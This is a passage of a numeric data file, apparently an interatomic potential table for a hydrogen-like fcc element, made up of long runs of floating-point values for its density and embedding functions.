0.8400226779029110E+00  0.8588050529176166E+00  0.8775413838228915E+00  0.8962195187553934E+00  0.9148274522281129E+00\n  0.9333533382360560E+00  0.9517855027710543E+00  0.9701124557421923E+00  0.9883229022998167E+00  0.1006405753562465E+01\n  0.1024350136747383E+01  0.1042145404706545E+01  0.1059781144871260E+01  0.1077247187609600E+01  0.1094533614001869E+01\n  0.1111630763040373E+01  0.1128529238260637E+01  0.1145219913812065E+01  0.1161693939976847E+01  0.1177942748146633E+01\n  0.1193958055267189E+01  0.1209731867761823E+01  0.1225256484945006E+01  0.1240524501938026E+01  0.1255528812099049E+01\n  0.1270262608980346E+01  0.1284719387825761E+01  0.1298892946621899E+01  0.1312777386716678E+01  0.1326367113019209E+01\n  0.1339656833795096E+01  0.1352641560071424E+01  0.1365316604665792E+01  0.1377677580853886E+01  0.1389720400690019E+01\n  0.1401441272995214E+01  0.1412836701027270E+01  0.1423903479847286E+01  0.1434638693397013E+01  0.1445039711301291E+01\n  0.1455104185409776E+01  0.1464830046091919E+01  0.1474215498299109E+01  0.1483259017407622E+01  0.1491959344855860E+01\n  0.1500315483589179E+01  0.1508326693325296E+01  0.1515992485653126E+01  0.1523312618977543E+01  0.1530287093322397E+01\n  0.1536916145003750E+01  0.1543200241185077E+01  0.1549140074325868E+01  0.1554736556534737E+01  0.1559990813837915E+01\n  0.1564904180373601E+01  0.1569478192522416E+01  0.1573714582983838E+01  0.1577615274808202E+01  0.1581182375393509E+01\n  0.1584418170455991E+01  0.1587325117983052E+01  0.1589905842176854E+01  0.1592163127396545E+01  0.1594099912106772E+01\n  0.1595719282839819E+01  0.1597024468178396E+01  0.1598018832765788E+01  0.1598705871349761E+01  0.1599089202866354E+01\n  0.1599172564569312E+01  0.1598959806210704E+01  0.1598454884277914E+01  0.1597661856291940E+01  0.1596584875171653E+01\n  0.1595228183668366E+01  0.1593596108874842E+01  0.1591693056812536E+01  0.1589523507100701E+01  0.1587092007710641E+01\n  0.1584403169808198E+01  0.1581461662687349E+01  0.1578272208797470E+01  0.1574839578866685E+01  0.1571168587123450E+01\n  0.1567264086618331E+01  0.1563130964647693E+01  0.1558774138280876E+01  0.1554198549992189E+01  0.1549409163398889E+01\n  0.1544410959106127E+01  0.1539208930659677E+01  0.1533808080607080E+01  0.1528213416667707E+01  0.1522429948012042E+01\n  0.1516462681650386E+01  0.1510316618931021E+01  0.1503996752147732E+01  0.1497508061256460E+01  0.1490855510700755E+01\n  0.1484044046345540E+01  0.1477078592518635E+01  0.1469964049159342E+01  0.1462705289073315E+01  0.1455307155292826E+01\n  0.1447774458541496E+01  0.1440111974802394E+01  0.1432324442988392E+01  0.1424416562713602E+01  0.1416392992164560E+01\n  0.1408258346069873E+01  0.1400017193766902E+01  0.1391674057364033E+01  0.1383233409997026E+01  0.1374699674177898E+01\n  0.1366077220234727E+01  0.1357370364840755E+01  0.1348583369631108E+01  0.1339720439905439E+01  0.1330785723414737E+01\n  0.1321783309230582E+01  0.1312717226695031E+01  0.1303591444449351E+01  0.1294409869539786E+01  0.1285176346598528E+01\n  0.1275894657098056E+01  0.1266568518676988E+01  0.1257201584535619E+01  0.1247797442899263E+01  0.1238359616547584E+01\n  0.1228891562408019E+01  0.1219396671211496E+01  0.1209878267208578E+01  0.1200339607944202E+01  0.1190783884089205E+01\n  0.1181214219326823E+01  0.1171633670292365E+01  0.1162045226564264E+01  0.1152451810704780E+01  0.1142856278348570E+01\n  0.1133261418337408E+01  0.1123669952899346E+01  0.1114084537870646E+01  0.1104507762958775E+01  0.1094942152044870E+01\n  0.1085390163524009E+01  0.1075854190681740E+01  0.1066336562105254E+01  0.1056839542127690E+01  0.1047365331304049E+01\n  0.1037916066917227E+01  0.1028493823512701E+01  0.1019100613460447E+01  0.1009738387542688E+01  0.1000409035566070E+01\n  0.9911143869969610E+00  0.9818562116185301E+00  0.9726362202083267E+00  0.9634560652350970E+00  0.9543173415736288E+00\n  0.9452215872364120E+00  0.9361702841209427E+00  0.9271648587715566E+00  0.9182066831546644E+00  0.9092970754463097E+00\n  0.9004373008310244E+00  0.8916285723109384E+00  0.8828720515241635E+00  0.8741688495714935E+00  0.8655200278504954E+00\n  0.8569265988960664E+00  0.8483895272266132E+00  0.8399097301949807E+00  0.8314880788433289E+00  0.8231253987611650E+00\n  0.8148224709457564E+00  0.8065800326641964E+00  0.7983987783164219E+00  0.7902793602984723E+00  0.7822223898653531E+00\n  0.7742284379928720E+00  0.7662980362378170E+00  0.7584316775959118E+00  0.7506298173569868E+00  0.7428928739568187E+00\n  0.7352212298251275E+00  0.7276152322292518E+00  0.7200751941130188E+00  0.7126013949303633E+00  0.7051940814732806E+00\n  0.6978534686936988E+00  0.6905797405188852E+00  0.6833730506600221E+00  0.6762335234136188E+00  0.6691612544554096E+00\n  0.6621563116264519E+00  0.6552187357111161E+00  0.6483485412067125E+00  0.6415457170844840E+00  0.6348102275417313E+00\n  0.6281420127448483E+00  0.6215409895630656E+00  0.6150070522926947E+00  0.6085400733717113E+00  0.6021399040845107E+00\n  0.5958063752566826E+00  0.5895392979396676E+00  0.5833384640851877E+00  0.5772036472093250E+00  0.5711346030461549E+00\n  0.5651310701908592E+00  0.5591927707322315E+00  0.5533194108745153E+00  0.5475106815485299E+00  0.5417662590120353E+00\n  0.5360858054393003E+00  0.5304689694998603E+00  0.5249153869264497E+00  0.5194246810720941E+00  0.5139964634563777E+00\n  0.5086303343008993E+00  0.5033258830539155E+00  0.4980826889042317E+00  0.4929003212843441E+00  0.4877783403628898E+00\n  0.4827162975264554E+00  0.4777137358507827E+00  0.4727701905614446E+00  0.4678851894840552E+00  0.4630582534840750E+00\n  0.4582888968962981E+00  0.4535766279440972E+00  0.4489209491485098E+00  0.4443213577272558E+00  0.4397773459837845E+00\n  0.4352884016864413E+00  0.4308540084378585E+00  0.4264736460346724E+00  0.4221467908176804E+00  0.4178729160125361E+00\n  0.4136514920611062E+00  0.4094819869436024E+00  0.4053638664915989E+00  0.4012965946920645E+00  0.3972796339825281E+00\n  0.3933124455374964E+00  0.3893944895462572E+00  0.3855252254821869E+00  0.3817041123636960E+00  0.3779306090069412E+00\n  0.3742041742704262E+00  0.3705242672916375E+00  0.3668903477158274E+00  0.3633018759170965E+00  0.3597583132118892E+00\n  0.3562591220650529E+00  0.3528037662885790E+00  0.3493917112331675E+00  0.3460224239727477E+00  0.3426953734820877E+00\n  0.3394100308076194E+00  0.3361658692316251E+00  0.3329623644299036E+00  0.3297989946230563E+00  0.3266752407215223E+00\n  0.3235905864644950E+00  0.3205445185528428E+00  0.3175365267761750E+00  0.3145661041341699E+00  0.3116327469522978E+00\n  0.3087359549920661E+00  0.3058752315559112E+00  0.3030500835868565E+00  0.3002600217630693E+00  0.2975045605874296E+00\n  0.2947832184722352E+00  0.2920955178191660E+00  0.2894409850946181E+00  0.2868191509005325E+00  0.2842295500408273E+00\n  0.2816717215835535E+00  0.2791452089188812E+00  0.2766495598130334E+00  0.2741843264582723E+00  0.2717490655190478E+00\n  0.2693433381744174E+00  0.2669667101568407E+00  0.2646187517874495E+00  0.2622990380079024E+00  0.2600071484089175E+00\n  0.2577426672555859E+00  0.2555051835095635E+00  0.2532942908482358E+00  0.2511095876809479E+00  0.2489506771623981E+00\n  0.2468171672032794E+00  0.2447086704782614E+00  0.2426248044314016E+00  0.2405651912790701E+00  0.2385294580104723E+00\n  0.2365172363858518E+00  0.2345281629324596E+00  0.2325618789383613E+00  0.2306180304441682E+00  0.2286962682327625E+00\n  0.2267962478170977E+00  0.2249176294261405E+00  0.2230600779890333E+00  0.2212232631175415E+00  0.2194068590868594E+00\n  0.2176105448148379E+00  0.2158340038397009E+00  0.2140769242963177E+00  0.2123389988910903E+00  0.2106199248755169E+00\n  0.2089194040184958E+00  0.2072371425774233E+00  0.2055728512681448E+00  0.2039262452338156E+00  0.2022970440127238E+00\n  0.2006849715051299E+00  0.1990897559391716E+00  0.1975111298358903E+00  0.1959488299734197E+00  0.1944025973503926E+00\n  0.1928721771486053E+00  0.1913573186949898E+00  0.1898577754229339E+00  0.1883733048329959E+00  0.1869036684530497E+00\n  0.1854486317979078E+00  0.1840079643284546E+00  0.1825814394103312E+00  0.1811688342722097E+00  0.1797699299636905E+00\n  0.1783845113128567E+00  0.1770123668835237E+00  0.1756532889322104E+00  0.1743070733648679E+00  0.1729735196933954E+00\n  0.1716524309919727E+00  0.1703436138532354E+00  0.1690468783443259E+00  0.1677620379628421E+00  0.1664889095927099E+00\n  0.1652273134600088E+00  0.1639770730887696E+00  0.1627380152567701E+00  0.1615099699513493E+00  0.1602927703252654E+00\n  0.1590862526526123E+00  0.1578902562848216E+00  0.1567046236067624E+00  0.1555291999929633E+00  0.1543638337639696E+00\n  0.1532083761428563E+00  0.1520626812119101E+00  0.1509266058694993E+00  0.1498000097871428E+00  0.1486827553667961E+00\n  0.1475747076983654E+00  0.1464757345174640E+00  0.1453857061634240E+00  0.1443044955375730E+00  0.1432319780617891E+00\n  0.1421680316373446E+00  0.1411125366040483E+00  0.1400653756996955E+00  0.1390264340198362E+00  0.1379955989778688E+00\n  0.1369727602654673E+00  0.1359578098133525E+00  0.1349506417524104E+00  0.1339511523751675E+00  0.1329592400976282E+00\n  0.1319748054214808E+00  0.1309977508966756E+00  0.1300279810843844E+00  0.1290654025203415E+00  0.1281099236785748E+00\n  0.1271614549355259E+00  0.1262199085345698E+00  0.1252851985509296E+00  0.1243572408569959E+00  0.1234359530880505E+00\n  0.1225212546083961E+00  0.1216130664778956E+00  0.1207113114189237E+00  0.1198159137837281E+00  0.1189267995222068E+00\n  0.1180438961500998E+00  0.1171671327175942E+00  0.1162964397783483E+00  0.1154317493589289E+00  0.1145729949286663E+00\n  0.1137201113699259E+00  0.1128730349487938E+00  0.1120317032861783E+00  0.1111960553293266E+00  0.1103660313237529E+00\n  0.1095415727855802E+00  0.1087226224742927E+00  0.1079091243658972E+00  0.1071010236264925E+00  0.1062982665862460E+00\n  0.1055008007137718E+00  0.1047085745909144E+00  0.1039215378879289E+00  0.1031396413390617E+00  0.1023628367185243E+00\n  0.1015910768168619E+00  0.1008243154177097E+00  0.1000625072749386E+00  0.9930560809018427E-01  0.9855357449075822E-01\n  0.9780636400793745E-01  0.9706393505562982E-01  0.9632624690941162E-01  0.9559325968593356E-01  0.9486493432269383E-01\n  0.9414123255817297E-01  0.9342211691232764E-01  0.9270755066744044E-01  0.9199749784932158E-01  0.9129192320885827E-01\n  0.9059079220391024E-01  0.8989407098154546E-01  0.8920172636061409E-01  0.8851372581465511E-01  0.8783003745513447E-01\n  0.8715063001500779E-01  0.8647547283260665E-01  0.8580453583584287E-01  0.8513778952672810E-01  0.8447520496620298E-01\n  0.8381675375927530E-01  0.8316240804045885E-01  0.8251214045951316E-01  0.8186592416747822E-01  0.8122373280299988E-01\n  0.8058554047894315E-01  0.7995132176928955E-01  0.7932105169631275E-01  0.7869470571803144E-01  0.7807225971593283E-01\n  0.7745368998296467E-01  0.7683897321179178E-01  0.7622808648331135E-01  0.7562100725542614E-01  0.7501771335206921E-01\n  0.7441818295247755E-01  0.7382239458071076E-01  0.7323032709541087E-01  0.7264195967979867E-01  0.7205727183190487E-01\n  0.7147624335502985E-01  0.7089885434843042E-01  0.7032508519822850E-01  0.6975491656853922E-01  0.6918832939281314E-01\n  0.6862530486539103E-01  0.6806582443326617E-01  0.6750986978805110E-01  0.6695742285814540E-01  0.6640846580110123E-01\n  0.6586298099618196E-01  0.6532095103711212E-01  0.6478235872501446E-01  0.6424718706153042E-01  0.6371541924212147E-01\n  0.6318703864954746E-01  0.6266202884751911E-01  0.6214037357452046E-01  0.6162205673779986E-01  0.6110706240752450E-01\n  0.6059537481109686E-01  0.6008697832762830E-01  0.5958185748256901E-01  0.5907999694248869E-01  0.5858138151000727E-01\n  0.5808599611887154E-01  0.5759382582917469E-01  0.5710485582271634E-01  0.5661907139850073E-01  0.5613645796836825E-01\n  0.5565700105276017E-01  0.5518068627661225E-01  0.5470749936537444E-01  0.5423742614115482E-01  0.5377045251898517E-01\n  0.5330656450320408E-01  0.5284574818395761E-01  0.5238798973381230E-01  0.5193327540447994E-01  0.5148159152365149E-01\n  0.5103292449193595E-01  0.5058726077990446E-01  0.5014458692523559E-01  0.4970488952995948E-01  0.4926815525779950E-01\n  0.4883437083160901E-01  0.4840352303089959E-01  0.4797559868946120E-01  0.4755058469306943E-01  0.4712846797727979E-01\n  0.4670923552530574E-01  0.4629287436597942E-01  0.4587937157179187E-01  0.4546871425701189E-01  0.4506088957588125E-01\n  0.4465588472088415E-01  0.4425368692108926E-01  0.4385428344056262E-01  0.4345766157684944E-01  0.4306380865952269E-01\n  0.4267271204879778E-01  0.4228435913421057E-01  0.4189873733335742E-01  0.4151583409069603E-01  0.4113563687640473E-01\n  0.4075813318529899E-01  0.4038331053580396E-01  0.4001115646898086E-01  0.3964165854760631E-01  0.3927480435530239E-01\n  0.3891058149571723E-01  0.3854897759175296E-01  0.3818998028484157E-01  0.3783357723426573E-01  0.3747975611652434E-01\n  0.3712850462474054E-01  0.3677981046811218E-01  0.3643366137140177E-01  0.3609004507446641E-01  0.3574894933182556E-01\n  0.3541036191226535E-01  0.3507427059847887E-01  0.3474066318674111E-01  0.3440952748661676E-01  0.3408085132070126E-01\n  0.3375462252439219E-01  0.3343082894569176E-01  0.3310945844503797E-01  0.3279049889516447E-01  0.3247393818098731E-01\n  0.3215976419951815E-01  0.3184796485980308E-01  0.3153852808288556E-01  0.3123144180179359E-01  0.3092669396154863E-01\n  0.3062427251919747E-01  0.3032416544386438E-01  0.3002636071682391E-01  0.2973084633159302E-01  0.2943761029404197E-01\n  0.2914664062252300E-01  0.2885792534801624E-01  0.2857145251429220E-01  0.2828721017808998E-01  0.2800518640931039E-01\n  0.2772536929122391E-01  0.2744774692069189E-01  0.2717230740840119E-01  0.2689903887911129E-01  0.2662792947191326E-01\n  0.2635896734050006E-01  0.2609214065344760E-01  0.2582743759450599E-01  0.2556484636290022E-01  0.2530435517364029E-01\n  0.2504595225783962E-01  0.2478962586304191E-01  0.2453536425355501E-01  0.2428315571079263E-01  0.2403298853362201E-01\n  0.2378485103871834E-01  0.2353873156092471E-01  0.2329461845361733E-01  0.2305250008907579E-01  0.2281236485885801E-01\n  0.2257420117417889E-01  0.2233799746629312E-01  0.2210374218688127E-01  0.2187142380843883E-01  0.2164103082466791E-01\n  0.2141255175087165E-01  0.2118597512435002E-01  0.2096128950479806E-01  0.2073848347470486E-01  0.2051754563975416E-01\n  0.2029846462922549E-01  0.2008122909639606E-01  0.1986582771894261E-01  0.1965224919934375E-01  0.1944048226528158E-01\n  0.1923051567004319E-01  0.1902233819292149E-01  0.1881593863961467E-01  0.1861130584262509E-01  0.1840842866165638E-01\n  0.1820729598400922E-01  0.1800789672497538E-01  0.1781021982822961E-01  0.1761425426621972E-01  0.1741998904055397E-01\n  0.1722741318238660E-01  0.1703651575280017E-01  0.1684728584318532E-01  0.1665971257561794E-01  0.1647378510323276E-01\n  0.1628949261059417E-01  0.1610682431406360E-01  0.1592576946216329E-01  0.1574631733593689E-01  0.1556845724930608E-01\n  0.1539217854942354E-01  0.1521747061702217E-01  0.1504432286676001E-01  0.1487272474756165E-01  0.1470266574295493E-01\n  0.1453413537140393E-01  0.1436712318663735E-01  0.1420161877797267E-01  0.1403761177063589E-01  0.1387509182607664E-01\n  0.1371404864227910E-01  0.1355447195406791E-01  0.1339635153340976E-01  0.1323967718971016E-01  0.1308443877010535E-01\n  0.1293062615974990E-01  0.1277822928209887E-01  0.1262723809918580E-01  0.1247764261189538E-01  0.1232943286023138E-01\n  0.1218259892357987E-01  0.1203713092096717E-01  0.1189301901131328E-01  0.1175025339368011E-01  0.1160882430751480E-01\n  0.1146872203288826E-01  0.1132993689072848E-01  0.1119245924304928E-01  0.1105627949317382E-01  0.1092138808595317E-01\n  0.1078777550798031E-01  0.1065543228779879E-01  0.1052434899610681E-01  0.1039451624595617E-01  0.1026592469294671E-01\n  0.1013856503541558E-01  0.1001242801462182E-01  0.9887504414926333E-02  0.9763785063966725E-02  0.9641260832827890E-02\n  0.9519922636207538E-02  0.9399761432577210E-02  0.9280768224338752E-02  0.9162934057976000E-02  0.9046250024202221E-02\n  0.8930707258102832E-02  0.8816296939273676E-02  0.8703010291955119E-02  0.8590838585161509E-02  0.8479773132806546E-02\n  0.8369805293824308E-02  0.8260926472285997E-02  0.8153128117512804E-02  0.8046401724184376E-02  0.7940738832443478E-02\n  0.7836131027996606E-02  0.7732569942210602E-02  0.7630047252205678E-02  0.7528554680944333E-02  0.7428083997316856E-02\n  0.7328627016223001E-02  0.7230175598650108E-02  0.7132721651747814E-02  0.7036257128899153E-02  0.6940774029788536E-02\n  0.6846264400466227E-02  0.6752720333409701E-02  0.6660133967581916E-02  0.6568497488486375E-02  0.6477803128219479E-02\n  0.6388043165519663E-02  0.6299209925814047E-02  0.6211295781262146E-02  0.6124293150797016E-02  0.6038194500163917E-02\n  0.5952992341956366E-02  0.5868679235650055E-02  0.5785247787634298E-02  0.5702690651241371E-02  0.5621000526773856E-02\n  0.5540170161529816E-02  0.5460192349826328E-02  0.5381059933021076E-02  0.5302765799532243E-02  0.5225302884857029E-02\n  0.5148664171588471E-02  0.5072842689431090E-02  0.4997831515215207E-02  0.4923623772910095E-02  0.4850212633636272E-02\n  0.4777591315676702E-02  0.4705753084487369E-02  0.4634691252707118E-02  0.4564399180166933E-02  0.4494870273898941E-02\n  0.4426097988144961E-02  0.4358075824365064E-02  0.4290797331245945E-02  0.4224256104709619E-02  0.4158445787922197E-02\n  0.4093360071303100E-02  0.4028992692534918E-02  0.3965337436573796E-02  0.3902388135660784E-02  0.3840138669334105E-02\n  0.3778582964442547E-02  0.3717714995160261E-02  0.3657528783002880E-02  0.3598018396845369E-02  0.3539177952941635E-02\n  0.3481001614946027E-02  0.3423483593937147E-02  0.3366618148443765E-02  0.3310399584473416E-02  0.3254822255543565E-02\n  0.3199880562715664E-02  0.3145568954632342E-02  0.3091881927557716E-02  0.3038814025421337E-02  0.2986359839865667E-02\n  0.2934514010297470E-02  0.2883271223943334E-02  0.2832626215909399E-02  0.2782573769245732E-02  0.2733108715015361E-02\n  0.2684225932368273E-02  0.2635920348620736E-02  0.2588186939339922E-02  0.2541020728434335E-02  0.2494416788250113E-02\n  0.2448370239673485E-02  0.2402876252239763E-02  0.2357930044248895E-02  0.2313526882888074E-02  0.2269662084361452E-02\n  0.2226331014027437E-02  0.2183529086543647E-02  0.2141251766019886E-02  0.2099494566179429E-02  0.2058253050528833E-02\n  0.2017522832536582E-02  0.1977299575820819E-02  0.1937578994346416E-02  0.1898356852631761E-02  0.1859628965965341E-02\n  0.1821391200632576E-02  0.1783639474153031E-02  0.1746369755528287E-02  0.1709578065500809E-02  0.1673260476823867E-02\n  0.1637413114542927E-02  0.1602032156288575E-02  0.1567113832581223E-02  0.1532654427147850E-02  0.1498650277250755E-02\n  0.1465097774028671E-02  0.1431993362850165E-02  0.1399333543679485E-02  0.1367114871454921E-02  0.1335333956479567E-02\n  0.1303987464824598E-02  0.1273072118744786E-02  0.1242584697106271E-02  0.1212522035826240E-02  0.1182881028324278E-02\n  0.1153658625985074E-02  0.1124851838631879E-02  0.1096457735010339E-02  0.1068473443281882E-02  0.1040896151525936E-02\n  0.1013723108250083E-02  0.9869516229069582E-03  0.9605790664167954E-03  0.9346028716940452E-03  0.9090205341765010E-03\n  0.8838296123550832E-03  0.8590277283020786E-03  0.8346125681955534E-03  0.8105818828371373E-03  0.7869334881601800E-03\n  0.7636652657249203E-03  0.7407751631967363E-03  0.7182611948033279E-03  0.6961214417659799E-03  0.6743540526996259E-03\n  0.6529572439758464E-03  0.6319293000421489E-03  0.6112685736903467E-03  0.5909734862658870E-03  0.5710425278092155E-03\n  0.5514742571193334E-03  0.5322673017285347E-03  0.5134203577763651E-03  0.4949321897694443E-03  0.4768016302125221E-03\n  0.4590275790946831E-03  0.4416090032129194E-03  0.4245449353136761E-03  0.4078344730309316E-03  0.3914767775974666E-03\n  0.3754710723036193E-03  0.3598166406754878E-03  0.3445128243419585E-03  0.3295590205570407E-03  0.3149546793411112E-03\n  0.3006993002013562E-03  0.2867924283882840E-03  0.2732336506415988E-03  0.2600225903747107E-03  0.2471589022432513E-03\n  0.2346422660385661E-03  0.2224723798427698E-03  0.2106489523774314E-03  0.1991716944731751E-03  0.1880403095829506E-03\n  0.1772544832569928E-03  0.1668138714930798E-03  0.1567180878715900E-03  0.1469666893810824E-03  0.1375591608372710E-03\n  0.1284948977961454E-03  0.1197731878613226E-03  0.1113931902866863E-03  0.1033539137784803E-03  0.9565419240704367E-04\n  0.8829265954769630E-04  0.8126771978413778E-04  0.7457751872672617E-04  0.6821991072362678E-04  0.6219242447627770E-04\n  0.5649222661344906E-04  0.5111608333233986E-04  0.4606032028242377E-04  0.4132078095054316E-04  0.3689278390632745E-04\n  0.3277107938782920E-04  0.2894980585093507E-04  0.2542244727468145E-04  0.2218179221009314E-04  0.1921989578338595E-04\n  0.1652804611495441E-04  0.1409673689099332E-04  0.1191564811913617E-04  0.9973637403230573E-05  0.8258744369264157E-05\n  0.6758211140689631E-05  0.5458521963065276E-05  0.4345465168603044E-05  0.3404220589992921E-05  0.2619475202729796E-05\n  0.1975569103509067E-05  0.1456672814492850E-05  0.1046995232007964E-05  0.7310192213004316E-06  0.4937588492987344E-06\n  0.3210285891032542E-06  0.1997107219284094E-06  0.1180030350752796E-06  0.6562550627018659E-07  0.3396305969110393E-07\n  0.1612304561662313E-07  0.6892228656363058E-08  0.2589636663001748E-08  0.8280887390551865E-09  0.2156614040605737E-09\n  0.4301139703498805E-10  0.6010118005039632E-11  0.5149083260942099E-12  0.2193180426472887E-13  0.3274661750280784E-15\n  0.9138109562588437E-18  0.1354704193168576E-21  0.5668023630192864E-28  0.1003507143230543E-40  0.5696705688614969E-79\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n    1     1.0080         1.8000        fcc \n  0.0000000000000000E+00 -0.1535560579048078E+00 -0.2907237616945244E+00 -0.4159976694362098E+00 -0.5313742240924204E+00\n -0.6381516341634162E+00 -0.7372865497340048E+00 -0.8295323942693905E+00 -0.9155075568639930E+00 -0.9957340210656841E+00\n -0.1070661374993902E+01 -0.1140682768426532E+01 -0.1206146070115003E+01 -0.1267361986331669E+01 -0.1324610161159111E+01\n -0.1378143882981543E+01 -0.1428193796698535E+01 -0.1474970886958801E+01 -0.1518668914237085E+01 -0.1559466431801390E+01\n -0.1597528475905044E+01 -0.1633007997183788E+01 -0.1666047084236993E+01 -0.1696778018255523E+01 -0.1725324188761563E+01\n -0.1751800894031140E+01 -0.1776316044902340E+01 -0.1798970786973415E+01 -0.1819860053348930E+01 -0.1839073057876778E+01\n -0.1856693737076276E+01 -0.1872801147573207E+01 -0.1887469824748019E+01 -0.1900770107406360E+01 -0.1912768432550330E+01\n -0.1923527603729046E+01 -0.1933107035951585E+01 -0.1941562979733216E+01 -0.1948948726501137E+01 -0.1955314797295812E+01\n -0.1960709116458849E+01 -0.1965177171789682E+01 -0.1968762162475479E+01 -0.1971505135945817E+01 -0.1973445114672207E+01\n -0.1974619213818786E+01 -0.1975062750551728E+01 -0.1974809345728893E+01 -0.1973891018616083E+01 -0.1972338275210313E+01\n -0.1970180190692498E+01 -0.1967444486480829E+01 -0.1964157602310837E+01 -0.1960344763727966E+01 -0.1956030045342894E+01\n -0.1951236430167903E+01 -0.1945985865324263E+01 -0.1940299314385106E+01 -0.1934196806595530E+01 -0.1927697483190939E+01\n -0.1920819641016471E+01 -0.1913580773633311E+01 -0.1905997610082929E+01 -0.1898086151466418E+01 -0.1889861705483819E+01\n -0.1881338919067047E+01 -0.1872531809229777E+01 -0.1863453792248377E+01 -0.1854117711279363E+01 -0.1844535862511214E+01\n -0.1834720019941148E+01 -0.1824681458861012E+01 -0.1814430978130464E+01 -0.1803978921310083E+01 -0.1793335196722089E+01\n -0.1782509296501631E+01 -0.1771510314697401E+01 -0.1760346964476296E+01 -0.1749027594483329E+01 -0.1737560204404532E+01\n -0.1725952459777540E+01 -0.1714211706091635E+01 -0.1702344982216385E+01 -0.1690359033195583E+01 -0.1678260322440748E+01\n -0.1666055043356523E+01 -0.1653749130428169E+01 -0.1641348269799635E+01 -0.1628857909368793E+01 -0.1616283268425060E+01\n -0.1603629346852960E+01 -0.1590900933923877E+01 -0.1578102616696916E+01 -0.1565238788048639E+01 -0.1552313654350187E+01\n -0.1539331242809444E+01 -0.1526295408494650E+01 -0.1513209841055223E+01 -0.1500078071154424E+01 -0.1486903476627897E+01\n -0.1473689288381174E+01 -0.1460438596038697E+01 -0.1447154353356060E+01 -0.1433839383406718E+01 -0.1420496383553594E+01\n -0.1407127930215773E+01 -0.1393736483439595E+01 -0.1380324391283206E+01 -0.1366893894023143E+01 -0.1353447128190937E+01\n -0.1339986130447453E+01 -0.1326512841302277E+01 -0.1313029108685023E+01 -0.1299536691375160E+01 -0.1286037262296563E+01\n -0.1272532411682773E+01 -0.1259023650118594E+01 -0.1245512411463359E+01 -0.1232000055660992E+01 -0.1218487871441779E+01\n -0.1204977078920362E+01 -0.1191468832094503E+01 -0.1177964221248664E+01 -0.1164464275266519E+01 -0.1150969963856213E+01\n -0.1137482199691838E+01 -0.1124001840474834E+01 -0.1110529690918452E+01 -0.1097066504658454E+01 -0.1083612986093118E+01\n -0.1070169792155417E+01 -0.1056737534020013E+01 -0.1043316778747819E+01 -0.1029908050870580E+01 -0.1016511833917833E+01\n -0.1003128571888578E+01 -0.9897586706698354E+00 -0.9764024994041254E+00 -0.9630603918080221E+00 -0.9497326474434862E+00\n -0.9364195329439393E+00 -0.9231212831968543E+00 -0.9098381024844113E+00 -0.8965701655839697E+00 -0.8833176188297485E+00\n -0.8700805811373453E+00 -0.8568591449923775E+00 -0.8436533774046202E+00 -0.8304633208290344E+00 -0.8172889940547750E+00\n -0.8041303930634986E+00 -0.7909874918580566E+00 -0.7778602432626174E+00 -0.7647485796954503E+00 -0.7516524139151204E+00\n -0.7385716397412827E+00 -0.7255061327509165E+00 -0.7124557509508342E+00 -0.6994203354274540E+00 -0.6863997109745679E+00\n -0.6733936866998824E+00 -0.6604020566111790E+00 -0.6474246001827013E+00 -0.6344610829025981E+00 -0.6215112568020091E+00\n -0.6085748609664665E+00 -0.5956516220302268E+00 -0.5827412546541748E+00 -0.5698434619878014E+00 -0.5569579361158532E+00\n -0.5440843584902399E+00 -0.5312224003475492E+00 -0.5183717231128886E+00 -0.5055319787902968E+00 -0.4927028103404054E+00\n -0.4798838520455784E+00 -0.4670747298631208E+00 -0.4542750617668665E+00 -0.4414844580776081E+00 -0.4287025217826503E+00\n -0.4159288488449873E+00 -0.4031630285022929E+00 -0.3904046435562347E+00 -0.3776532706523132E+00 -0.3649084805505702E+00\n -0.3521698383875012E+00 -0.3394369039294391E+00 -0.3267092318177014E+00 -0.3139863718057774E+00 -0.3012678689887569E+00\n -0.2885532640253530E+00 -0.2758420933527601E+00 -0.2631338893944120E+00 -0.2504281807610877E+00 -0.2377244924455082E+00\n -0.2250223460105389E+00 -0.2123212597713198E+00 -0.1996207489715085E+00 -0.1869203259537742E+00 -0.1742195003247300E+00\n -0.1615177791145765E+00 -0.1488146669314823E+00 -0.1361096661109569E+00 -0.1234022768604086E+00 -0.1106919973989453E+00\n -0.9797832409262908E-01 -0.8526075158534008E-01 -0.7253877292531064E-01 -0.5981187968757973E-01 -0.4707956209239161E-01\n -0.3434130911979061E-01 -0.2159660862033985E-01 -0.8844947422254279E-02  0.3914188564942300E-02  0.1668131425026886E-01\n  0.2945694526441001E-01  0.4224159786604931E-01  0.5503578885129357E-01  0.6784003546613926E-01  0.8065485532187089E-01\n  0.9348076631322821E-01  0.1063182865393753E+00  0.1191679342274936E+00  0.1320302276589731E+00  0.1449056850980641E+00\n  0.1577948247229719E+00  0.1706981645593397E+00  0.1836162224158824E+00  0.1965495158223847E+00  0.2094985619696659E+00\n  0.2224638776517585E+00  0.2354459792100279E+00  0.2484453824792379E+00  0.2614626027354943E+00  0.2744981546460752E+00\n  0.2875525522209847E+00  0.3006263087661927E+00  0.3137199368386514E+00  0.3268339482028364E+00  0.3399688537888836E+00\n  0.3531251636522359E+00  0.3663033869348276E+00  0.3795040318275802E+00  0.3927276055344020E+00  0.4059746142374676E+00\n  0.4192455630638039E+00  0.4325409560532072E+00  0.4458612961272428E+00  0.4592070850596310E+00  0.4725788234476167E+00\n  0.4859770106845307E+00  0.4994021449334540E+00  0.5128547231018850E+00  0.5263352408174535E+00  0.5398441924046491E+00\n  0.5533820708624786E+00  0.5669493678430300E+00  0.5805465736309947E+00  0.5941741771240481E+00  0.6078326658140436E+00\n  0.6215225257691057E+00  0.6352442416164141E+00  0.6489982965258876E+00  0.6627851721945213E+00  0.6766053488314805E+00\n  0.6904593051439232E+00  0.7043475183234973E+00  0.7182704640335023E+00  0.7322286163966445E+00  0.7462224479835151E+00\n  0.7602524298016173E+00  0.7743190312849433E+00  0.7884227202841974E+00  0.8025639630575290E+00  0.8167432242618240E+00\n  0.8309609669444393E+00  0.8452176525355792E+00  0.8595137408410123E+00  0.8738496900353998E+00  0.8882259566559134E+00\n  0.9026429955964752E+00  0.9171012601023203E+00  0.9316012017649666E+00  0.9461432705176964E+00  0.9607279146312910E+00\n  0.9753555807102323E+00  0.9900267136892760E+00  0.1004741756830290E+01  0.1019501151719556E+01  0.1034305338265334E+01\n  0.1049154754695761E+01  0.1064049837557060E+01  0.1078991021712077E+01  0.1093978740339108E+01  0.1109013424930930E+01\n  0.1124095505294220E+01  0.1139225409549223E+01  0.1154403564129567E+01  0.1169630393782453E+01  